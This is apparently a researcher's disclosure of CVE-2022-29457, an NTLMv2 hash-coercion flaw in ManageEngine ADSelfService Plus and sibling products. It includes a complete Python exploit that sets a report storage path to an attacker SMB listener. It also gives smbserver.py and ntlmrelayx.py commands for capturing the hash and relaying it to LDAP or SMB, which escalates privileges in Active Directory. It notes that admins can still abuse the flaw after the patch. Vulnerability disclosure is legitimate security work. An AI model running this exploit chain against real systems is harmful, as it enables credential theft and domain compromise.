Multiple ManageEngine Applications Critical Information Disclosure Vulnerability
The NTLMv2 hash of the domain user or the computer accounts, can be obtained coercing the target server authenticates an arbitrary SMB server. (CVE-2022-29457)
In most cases, ADSelfService Plus application is installed with high domain user privileges. For exploitation it doesn't matter where application is installed. The important point is that the application runs under which privileges (domain user or service).
When scheduling report, the ADSelfService application exports report files to a local or network path. If I specify a SMB server on the network , the server that hosts ADSelfService authenticates the SMB server to export file. The NTLMv2 hash of the domain user or the computer accounts, can be obtained while the authentication is conducting. Relaying the captured hash can cause a privilege escalation in the Active Directory environment.
I noticed that the "schedule report" functionality is inclued in the ADManager Plus, ADAudit Plus, Exchange Reporter Plus. These applications are impacted the same vulnerability.
# Detecting the Vulnerability
There is a scheduling report functionality and the Operator user can schedule a report default. While the Operator user sends reports to an email, it is stored C:\ManageEngine\ADSelfService Plus\audit-data as default.
For the storage path value , there is a character restriction ( / : * ? < > | "). However, it is checked by the front-end only so it can be bypassed using the proxy. Also, the \ character is not restricted.
If you set STORAGE_PATH parameter as /../../bypass or C:\bypass through Burp, the reports is extracted to C:\bypass directory.
The Operator user that doesn't have admin privileges can manipulate this scheduling report functionality. If the storage path is a remote file share, the server which hosts the ADSelfService application authenticates to the specified server for storing reports. When authenticating, the NTLMv2 hash is captured.
The user can set storage path as \\IP\share and the server authenticates to the remote address with privileges of the ADSelfService process. There are two options:
The ADSelfService runs as a service
The ADSelfService runs with domain user privileges
The NTLMv2 hash of the computer account can be captured for the first option and the NTLMv2 hash of the domain user can be captured for the second. After the capturing the hash value, it can be relayed to other servers which are SMB singing or LDAP signing (for DC) is disabled.
If you capture the NTLMv2 hash of computer account, relay it to a server that the computer account is added as a local admin user.
If the ADSelfService runs on the DC as a service, you can capture the NTLMv2 hash of the Domain Controller account, relay it to the another Domain Controller through LDAP and gain high privileges.
# Exploitation
When the ADSelfService runs with domain user privileges (the user has high privileges in most cases):
The ADSelfService runs with Domain Admin user privileges for my scenario. However, it is not a requirement for exploitation.
As another option, the captured hash can be relayed to another Domain Controller.
python3 ntlmrelayx.py -t ldaps://DC2
When the ADSelfService runs as a service
If the ADSelfService runs as a service on the Domain Controller. Exploiting this vulnerability, capture the hash of the Domain Controller account and relay it to another one or the ADCS.
From SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.
After setting ntlmrelayx, login the ADSelfService application as operator user. Then create schedule report and set the store path as \\smb-server\share
Since the report is generated every five minutes, the DC authenticates to SMB server after five minutes.
# Exploit Title: ManageEngine ADSelfService Plus Build < 6121 - The NTLMv2 Hash Disclosure# Exploit Author: Metin Yunus Kandemir# Vendor Homepage: https://www.manageengine.com/# Software Link: https://www.manageengine.com/products/self-service-password/download.html# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability# Version: ADSelfService Plus Build < 6121# Tested against: Build 6118# CVE: CVE-2022-29457# !/usr/bin/python3import argparseimport requestsimport urllib3import randomimport sys"""1- a)Set up SMB server to capture NTMLv2 hash.python3 smbserver.py share . -smb2supportb)For relaying to SMB:python3 ntlmrelayx.py -smb2support -t smb://TARGETc)For relaying to LDAP:python3 ntlmrelayx.py -t ldaps://TARGET2- Fire up the exploit.You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes."""urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)defget_args(): parser = argparse.ArgumentParser( epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1") parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ') parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain') parser.add_argument('-u', '--user', required=True, action='store') parser.add_argument('-p', '--password', required=True, action='store') parser.add_argument('-t', '--target', required=True, action='store', help='Target url') parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash') args = parser.parse_args()return argsdefscheduler(domain,auth,target,listener,user,password):try:with requests.Session()as s: gUrl = target getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False) csrf = getCsrf.cookies['_zcsr_tmp']print("[*] Csrf token: %s"% getCsrf.cookies['_zcsr_tmp'])if auth.lower()=='adselfservice': auth ="ADSelfService Plus Authentication" data ={"loginName": user,"domainName": auth,"j_username": user,"j_password": password,"AUTHRULE_NAME":"ADAuthenticator","adscsrf": [csrf, csrf]}#Login url = target +"j_security_check" headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"} req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)#Auth Check url2 = target +"webclient/index.html" req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)if req2.status_code ==200:print("[+] Authentication is successful.")elif req2.status_code ==302:print("[-] Login failed.") sys.exit(1)else:print("[-] Something went wrong") sys.exit(1) dn = domain.split(".") r1 = random.randint(1, 1000) surl = target +'ServletAPI/Reports/saveReportScheduler' data ={'SCHEDULE_ID':'0','ADMIN_STATUS':'3','SCHEDULE_NAME':'enrollment'+str(r1),'DOMAINS':'["'+ domain +'"]','DOMAIN_PROPS':'{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0]+',DC='+ dn[1]+'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0]+',DC='+ dn[1]+'","NAME":"'+ domain +'"}]}}}','SELECTED_REPORTS':'104,105', 'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
'SCHEDULE_TYPE':'hourly','TIME_OF_DAY':'0','MINS_OF_HOUR':'5','EMAIL_ID': user +'@'+ domain,'NOTIFY_ADMIN':'true','NOTIFY_MANAGER':'false','STORAGE_PATH':'\\\\'+ listener +'\\share','FILE_FORMAT':'HTML','ATTACHMENT_TYPE':'FILE','ADMIN_MAIL_PRIORITY':'Medium','ADMIN_MAIL_SUBJECT':'adssp.reports.schedule_reports.mail_settings_sub','ADMIN_MAIL_CONTENT':'adssp.reports.schedule_reports.mail_settings_msg_html','MANAGER_FILE_FORMAT':'HTML','MANAGER_ATTACHMENT_TYPE':'FILE','MANAGER_MAIL_SUBJECT':'adssp.reports.schedule_reports.mail_settings_mgr_sub','MANAGER_MAIL_CONTENT':'adssp.reports.schedule_reports.mail_settings_mgr_msg_html','adscsrf': csrf} sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)if'adssp.reports.schedule_reports.storage_path.unc_storage_path'in sch.text:print('[-] The target is patched!') sys.exit(1)if sch.status_code ==200:print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")else:print("[-] Something went wrong. Please, try it manually!") sys.exit(1)except:print('[-] Connection error!')defmain(): arg =get_args() domain = arg.domain auth = arg.auth user = arg.user password = arg.password target = arg.target listener = arg.listenerscheduler(domain, auth, target, listener, user, password)if__name__=="__main__":main()
# Other ManageEngine Applications
ADManagerPlus Build 7131, ADAuditPlus Build 7060, Exchange Reporter Plus Build 5701 are impacted same NTLMv2 hash information disclosure vulnerability.
There are too many user role types in the applications. The scheduling report permission is enough to exploit the vulnerability. If a technician user has scheduling report privilege, he can obtain the NTLMv2 hash of user that runs applications. If applications are installed as a service, the NTLMv2 hash of computer account can be obtained.
The technician user must have the following permissions on the ADManagerPlus:
The technician user must have the following permissions on the ADAuditPlus:
The technician user must have the following permissions on the Exchange Reporter Plus:
For capturing the NTLMv2 hash:
// set up SMB server first
python tools/impacket/examples/smbserver.py share .
Login the application technician user. Then create schedule report and set the store path as \\smb-server\share
When the reports are generated, the hash is obtained.
# The Patch
The vulnerability has been fixed in ADSelfService Build 6121. You can see the release notes.
I take a look at source code after the patch. If you are not a admin user and the storage path starts with \\ . You will be blocked with adssp.reports.schedule_reports.storage_path.unc_storage_path code.
If you are an admin user, you can still obtain the NTLMv2 hash.